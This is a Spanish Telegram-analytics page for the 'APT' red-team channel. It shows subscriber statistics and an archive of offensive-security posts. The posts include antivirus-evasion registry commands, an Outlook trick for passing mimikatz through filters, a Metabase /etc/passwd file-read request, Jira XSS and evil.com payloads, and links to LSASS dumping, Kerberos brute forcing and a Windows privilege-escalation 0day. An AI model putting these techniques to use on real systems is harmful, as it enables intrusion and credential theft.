es
Feedback
APT

APT

Ir al canal en Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Mostrar más
Rusia40 535Tecnologías y Aplicaciones7 794

📈 Análisis del canal de Telegram APT

El canal APT (@apt_notes) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 16 275 suscriptores, ocupando la posición 7 794 en la categoría Tecnologías y Aplicaciones y el puesto 40 535 en la región Rusia.

📊 Métricas de audiencia y dinámica

Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 16 275 suscriptores.

Según los últimos datos del 01 septiembre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 547, y en las últimas 24 horas de 18, conservando un alto alcance.

  • Estado de verificación: No verificado
  • Tasa de interacción (ER): El promedio de interacción de la audiencia es 44.29%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 18.04% de reacciones respecto al total de suscriptores.
  • Alcance de las publicaciones: Cada publicación recibe en promedio 7 204 visualizaciones. En el primer día suele acumular 2 934 visualizaciones.
  • Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 26.

📝 Descripción y política de contenido

El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 02 septiembre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.

16 275
Suscriptores
+1824 horas
+827 días
+54730 días
Archivo de publicaciones
APT
APT
16 273

APT
APT
16 273
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download li
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download link to directly download the file. Restricted file types would first need to have their file extension modified (e.g. mimikatz.exe becomes mimikatz.exe.txt) and then upon download the file extension is modified back to the original extension. 
1. Compose an email
2. Attach a file (add .txt to the end if it's a restricted file type)
3. Click on the file to download it and grab the link (attachment.outlook.live.net or attachment.office.net)
Link is valid for ~15 minutes. #outlook #attachments #redteam #phishing

APT
APT
16 273
pyKerbrute Use Python to quickly brute force and enumerate valid Active Directory accounts through Kerberos Pre-Authentication (supports Pass-the-Hash) https://github.com/3gstudent/pyKerbrute #ad #kerberos #spray

APT
APT
16 273
Clipboard Shellcode Injection https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515 #clipboard #shellcode #injection #redteam #maldev

APT
APT
16 273
Picky PPID Spoofing Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships. https://capt-meelo.github.io//redteam/maldev/2021/11/22/picky-ppid-spoofing.html #pid #spoofing #redteam #maldev #malware

APT
APT
16 273
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #BlackFriday #InfoSec

APT
APT
16 273
DumpNParse DumpNParse is a tool that will automatically dump LSASS and parse the results. https://github.com/icyguider/DumpNParse #lsass #dump #parse

APT
APT
16 273
Windows installer LPE 0day https://github.com/klinix5/InstallerFileTakeOver #windows #lpe #0day

APT
APT
16 273
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use th
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use the following commands: 
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /ve /t REG_SZ /d exefile
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /v "Content Type" /t REG_SZ /d "application/x-msdownload"
This can also work on other security solutions and for many other blacklisted techniques. #av #evasion #extension #file

APT
APT
16 273
Microsoft Exchange Server RCE (PoC) This PoC just pop mspaint.exe on the target, can be use to recognize the signature pattern of a successful attack event https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398 #exchange #rce #poc

APT
APT
16 273
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT
APT
16 273
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT
APT
16 273
Cloudmare Cloudmare is a simple tool to find origin servers of websites protected by Cloudflare, Sucuri or Incapsula with a m
Cloudmare Cloudmare is a simple tool to find origin servers of websites protected by Cloudflare, Sucuri or Incapsula with a misconfiguration DNS. https://github.com/MrH0wl/Cloudmare #bugbounty #cloudflare #tracker #ip

APT
APT
16 273
Windows Privileges https://speakerdeck.com/fr0gger/windows-privileges #windows #privileges #cheatsheet
Windows Privileges https://speakerdeck.com/fr0gger/windows-privileges #windows #privileges #cheatsheet

APT
APT
16 273
GPUSleep Small project of mine that is designed to move Cobalt Strike (or any really) beacon image, and heap, from memory to GPU memory before going to sleep. And moves everything back at the same place after sleep. # https://github.com/oXis/GPUSleep # https://oxis.github.io/GPUSleep/ #redteam #gpu #sleep #beacon

APT
APT
16 273
Atlassian Jira Payloads /secure/QueryComponent!Default.jspa /secure/ViewUserHover.jspa /ViewUserHover.jspa?username=Admin /rest/api/2/dashboard?maxResults=100 /pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm /rest/api/2/user/picker?query=admin /plugins/servlet/oauth/users/icon-uri?consumerUri=https://evil.com /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=SearchConfigurePortalPages.jspa /plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true /secure/ConfigurePortalPages!default.jspa?view=popular /secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false /secure/ContactAdministrators!default.jspa #bugbounty #jira #payloads

APT
APT
16 273
Microsoft Exchange Deserialization RCE (CVE-2021–42321) https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852 #exchange #rce #cve #deserialization

APT
APT
16 273
When You sysWhisper Loud Enough for AV to Hear You https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html #av #evasion #syswhisper

APT
APT
16 273
Default Passwords Before performing password attacks, it is worth trying a couple of default passwords against the targeted service. Here are some website that provide default passwords for various products. # https://cirt.net/passwords # https://default-password.info/ # https://datarecovery.com/rd/default-passwords/ #default #passwords #services

APT
APT
16 273
Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool
Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool parses responses to identify the "IfExistsResult" flag is null or not, and responds appropriately if the user is valid. https://github.com/dievus/Oh365UserFinder #office365 #user #enumeration